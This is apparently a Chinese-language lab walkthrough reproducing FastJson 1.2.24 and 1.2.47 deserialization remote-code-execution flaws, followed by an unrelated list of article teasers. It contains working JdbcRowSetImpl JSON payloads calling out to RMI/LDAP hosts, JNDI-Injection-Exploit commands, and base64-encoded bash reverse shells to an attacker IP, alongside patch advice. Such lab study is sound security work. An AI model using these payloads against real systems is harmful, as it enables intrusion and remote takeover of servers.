FastJson 漏洞复现
文章目录
- FastJson 漏洞复现
- 1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
- 1.1 漏洞描述
- 1.2 漏洞原理
- 1.3 漏洞复现
- 1.3.1 环境启动
- 1.3.2 漏洞检测
- 1.3.3 漏洞验证
- 1.4 漏洞利用
- 1.5 修复方案
- 2. Fastjson 1.2.47 远程命令执行漏洞
- 2.1 漏洞描述
- 2.2 漏洞复现
- 2.2.1 环境启动
- 2.2.2 漏洞检测
- 2.2.3 漏洞验证
- 2.3 漏洞利用
- 2.4 修复方案
FastJson 漏洞复现
1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞。
1.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-18349 |
漏洞名称 | fastjson 1.2.24 反序列化导致任意命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | 1.2.24 |
漏洞描述 | fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 |
修复方案 | 打补丁,上设备,升级组件 |
具体描述
FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
1.2 漏洞原理
攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。
存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。
rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机执行了恶意代码,被攻击者成功利用。
1.3 漏洞复现
1.3.1 环境启动
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出。
使用bp抓取数据包
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
先转换为POST请求
然后发送一个JSON数据
{"name":"wuhu", "age":20}
如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式
重新放包即可。
这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。
- JSON–>Object–>JSON
1.3.2 漏洞检测
可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)。
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
下载成功后,在BP中添加插件即可。
然后将数据包发送到插件
正在扫描
扫描成功,发现漏洞,然后会生成一个POC。
将生成的POC拷贝到我们之前抓取的数据包中。
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa","autoCommit":true}
}
RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。
在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。
1.3.3 漏洞验证
使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)。
开启RMI服务器
使用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
1.4 漏洞利用
开启服务器,将之前构造的反弹Shell在 -C
后面的参数进行替换即可。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
kali监听9999端口
复制到指定位置,然后放包即可
ldap://192.168.188.185:1389/1cmhtr
监听成功
1.5 修复方案
修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。
2. Fastjson 1.2.47 远程命令执行漏洞
链接地址:Fastjson 1.2.47 远程命令执行漏洞。
2.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | |
漏洞名称 | Fastjson 1.2.47 远程命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | 1.2.47以及之前的所有版本 |
漏洞描述 | Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。 |
修复方案 | 打补丁,上设备,升级组件 |
具体描述
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
2.2 漏洞复现
2.2.1 环境启动
环境启动后,访问http://your-ip:8090
即可看到一个json对象被返回
使用bp抓取数据包
将content-type修改为application/json
后可向其POST新的JSON对象,后端会利用fastjson进行解析。
2.2.2 漏洞检测
将生成POC拷贝到抓取的数据包中。
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa","autoCommit":true}
}
2.2.3 漏洞验证
开启RMI服务器
使用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
使用JDK 1.8中的ldap
ldap://192.168.188.185:1389/asdqfh
查看tmp目录下是否有我们创建的wuhu文件。
通过查看后发现文件创建成功,证明漏洞存在。
2.3 漏洞利用
构造反弹Shell命令
bash -i >& /dev/tcp/192.168.188.185/8888 0>&1 # 将该命令做一个base64编码bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
开启服务器,将之前构造的反弹Shell在 -C
后面的参数进行替换即可。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
同时kail监听8888端口
将ldap复制到指定位置,然后放包即可
ldap://192.168.188.185:1389/wslvmi
反弹成功
2.4 修复方案
- 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
- WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
- 最少升级到1.2.48以上版本且关闭autotype选项
相关文章:

FastJson 漏洞复现
文章目录 FastJson 漏洞复现1. FastJson 1.2.24 反序列化导致任意命令执行漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞复现1.3.1 环境启动1.3.2 漏洞检测1.3.3 漏洞验证 1.4 漏洞利用1.5 修复方案 2. Fastjson 1.2.47 远程命令执行漏洞2.1 漏洞描述2.2 漏洞复现2.2.1 环境启动2.2.2 …...

jeesite实现excel导入功能(保姆级图文教程)
文章目录 前言一、准备工作1.准备一个excel模板,放入static目录2.application.yml文件中设置文件存储路径3.使用easyexcel插件解析excel数据,pom文件导入easyexcel二、使用步骤1.列表页添加下载模板按钮2.表单页添加文件上传3. 创建excel解析对应实体4.后台完成文件上传代码,…...

【B树 B+树】B树、B+树理论
目录 引入B树B树定义和性质m阶B树核心特性 B树B树的查找 引入B树 满足上面两个策略就是B树: m 叉查找树中,规定除了根节点外,任何结点至少有 ⌈ m / 2 ⌉ \lceil m/2 \rceil ⌈m/2⌉ 个分叉,即至少含有 ⌈ m / 2 ⌉ \lceil m/2 \…...

CRM软件系统能否监控手机的使用
CRM可以监控手机吗?答案是不可以。CRM是一款帮助企业优化业务流程,提高销售效率的工具。例如Zoho CRM,最多也就是听一下销售的通话录音,却不可以监控手机,毕竟CRM不是一款监控软件。 CRM的主要作用有以下几点…...

hutool的HttpRequest.post的使用-包括上传文档等多个传参【总结版本】
首先hutool已经为我们封装好了远程调用的接口,我们只要将对应的传参和方式对应填写即可 hutool官方文档 1实际应用 post 常见的使用json传参,contend type为application/json RequestMapping("login") ResponseBody public static String s…...

VR数字工厂,为企业工厂打造竞争新优势
工业经济中大部分行业都是制造业,为了合力助推工业经济提质增效,谋划推进制造业数字化转型就显得尤为重要了。用VR赋能工厂数字升级,打造VR数字工厂,满足各行各业沉浸式营销展示需求。 VR数字工厂是一种全新的工业模式,…...

记一次线程堵塞(挂起)导致消息队列积压
1 背景 A服务作为生产者,每天发送上千万的mq消息,每一个消息包含500个用户ids数据。B服务作为消费者,接受MQ消息并通过http调用第三方请求进行业务处理,消费组启用了rabbitmq的多线程消费组,一个实例并发40个mq消费者…...
被问实习最大的收获是什么可以怎么回答?
最大的收获? 了解大型项目的运转过程:总工程师给开发和测试串讲需求->开发编写需求的特性说明书,完成需求方案设计和评审->编码完成后对各个场景进行自测,上库后给相关模块人进行代码检视后并修改检视意见->在每个迭代转…...

如何理解图神经网络的傅里叶变换和图卷积
图神经网络(GNN)代表了一类强大的深度神经网络架构。在一个日益互联的世界里,因为信息的联通性,大部分的信息可以被建模为图。例如,化合物中的原子是节点,它们之间的键是边。图神经网络的美妙之处在于它们能…...

国家网络安全周2023时间是什么时候?有什么特点?谁举办的?
国家网络安全周2023时间是什么时候? 2023年国家网络安全宣传周将于9月11日至17日在全国范围内统一开展。其中开幕式等重要活动将在福建省福州市举行。今年网安周期间,除开幕式外,还将举行网络安全博览会、网络安全技术高峰论坛、网络安全微视…...

windows编程之线程同步万字总结(创建线程,互斥对象,互斥事件,信号量,关键段,多线程群聊服务器)
文章目录 创建线程方法一_beginthreadex函数讲解使用示例: 方法二CreateThread函数讲解:使用示例: 互斥对象:创建互斥对象CreateMutex 互斥事件介绍创建或打开一个未命名的互斥事件对象 信号量介绍信号量的相关函数使用示例 关键段相关函数错误使用示例正确使用示例…...
Git在已有的项目中引入Submodule子模块管理:添加、更新、删除(实战示例代码)
前言 在进行Git版本控制的过程中,有时候我们需要在已有的项目中引入子模块,以便复用其他独立的Git存储库的代码或文件。本文将详细介绍如何在已有项目下添加、更新和删除Git的Submodule子模块,并提供相关的示例代码。 实战场景 假设我们已…...

内网穿透实现Windows远程桌面访问Ubuntu,简单高效的远程桌面解决方案
文章目录 前言1. ubuntu安装XRDP2.局域网测试连接3.安装cpolar内网穿透4.cpolar公网地址测试访问5.固定域名公网地址 前言 XRDP是一种开源工具,它允许用户通过Windows RDP访问Linux远程桌面。 除了Windows RDP外,xrdp工具还接受来自其他RDP客户端(如Fre…...
如何学习运营管理
运营管理(Operations Management)是一门管理学科,它关注如何高效地组织和管理企业的生产、服务、供应链和业务过程以达到组织的目标。运营管理是企业管理的一个重要领域,它包含了多个内容和职能: 生产管理:…...

腾讯云centos7.6安装部署备忘
1.Mysql 1.1 安装mysql wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm rpm -ivh mysql-community-release-el7-5.noarch.rpm yum install mysql-community-server 1.1.1 安装后重启 service mysqld restart 1.1.2 初次安装mysql,root账…...

【赠书活动】考研备考书单推荐
👉博__主👈:米码收割机 👉技__能👈:C/Python语言 👉公众号👈:测试开发自动化【获取源码商业合作】 👉荣__誉👈:阿里云博客专家博主、5…...

中缀表达式 - 栈实现综合计算器
代码: package Algotithm.stackobject Calculator {def main(args: Array[String]): Unit {val expression "32*6-2"//创建两个栈:数栈、符号栈val numStack, operStack new ArrayStack2(10)//定义需要的相关变量var index, num1, num2, …...
html语音播报功能问题
语音播报有个问题,就是弹出层有时无法关闭页面的播报,如果弹出层也有语音播报,就会造成语音混者播放 解决办法就是在弹出窗口(我用的弹出层框架是layui的)之前清空语音 window.operEdit function (url, title){window.speechSynthesis.can…...

计算机重点学科评级B-,山东省属重点高校考情分析
山东科技大学(B-) 考研难度(☆☆) 内容:23考情概况(拟录取和复试分析)、院校概况、23专业目录、23复试详情、各专业考情分析、各科目考情分析。 正文1175字预计阅读:3分钟 2023考情概况 山东科技大学计…...

轻松搭建本地知识库的ChatGLM2-6B
近期发现了一个项目,它的前身是ChatGLM,在我之前的博客中有关于ChatGLM的部署过程,本项目在前者基础上进行了优化,可以基于当前主流的LLM模型和庞大的知识库,实现本地部署自己的ChatGPT,并可结合自己的知识…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...

基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...

多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...

QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...

分布式增量爬虫实现方案
之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面,避免重复抓取,以节省资源和时间。 在分布式环境下,增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路:将增量判…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...

STM32---外部32.768K晶振(LSE)无法起振问题
晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...

spring Security对RBAC及其ABAC的支持使用
RBAC (基于角色的访问控制) RBAC (Role-Based Access Control) 是 Spring Security 中最常用的权限模型,它将权限分配给角色,再将角色分配给用户。 RBAC 核心实现 1. 数据库设计 users roles permissions ------- ------…...